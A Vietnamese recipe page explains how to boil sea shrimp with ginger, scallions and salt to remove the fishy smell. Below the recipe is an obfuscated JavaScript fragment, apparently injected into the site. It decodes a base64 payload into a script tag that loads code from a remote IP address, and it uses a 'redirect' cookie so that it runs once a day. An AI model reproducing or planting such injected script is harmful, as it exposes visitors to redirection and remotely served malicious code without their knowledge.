Người TQ có cách luộc tôm đơn giản mà không hề để lại mùi hôi tanh, chỉ vài bước là đã có món tôm biển luộc vô cùng tươi ngon

Tôm luộc là món ăn giàu dinh dưỡng lại chế biến vô cùng đơn giản nhưng không phải ai cũng biết cách làm để có hương vị thơm ngoan và loại bỏ mùi hoàn toàn hôi tanh.

Hải sản là loại thực phẩm có nhiều chất đạm rất bổ dưỡng cho con người, trong đó tôm là loại thực phẩm khá phổ biến trong mỗi bữa ăn gia đình. Thường thì tôm biển sẽ ít làm các món kho xào mà người ta thường chỉ luộc sơ qua để giữ nguyên chất dinh dưỡng và độ đạm, nhưng nếu chỉ luộc sơ thì sẽ không thể loại bỏ được mùi hôi tanh.

Người Trung Quốc có cách luộc tôm đơn giản, chỉ thêm vài lát gừng là đã có thể loại bỏ được mùi tanh nhưng hương vị và chất dinh dưỡng của tôm vẫn như ban đầu.

Chuẩn bị nguyên liệu:

Tôm tươi 2 kg, gừng, hành hẹ, muối

Cách làm:

– Trước hết, làm sạch tôm tươi sống mua từ chợ về bằng cách rửa sạch với nước, loại bỏ đất cát có trong con tôm và ngâm qua nước muối loãng khoảng vài phút.

– Sau đó rửa sạch hành lá và gừng, cắt lát.

– Cho khoảng 2 bát nước vào nồi, sau đó cho hành, gừng, một ít muối và tôm vào, bắc lên bếp, để lửa to.

– Sau khi nước trong nồi sôi, vặn lửa nhỏ lại và tiếp tục nấu trong khoảng năm phút.

– Trong quá trình nấu, bọt có thể xuất hiện, hãy dùng muỗng để vớt bọt ra. Sau khi tắt bếp thì cho tôm ra đĩa và thưởng thức.



#(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.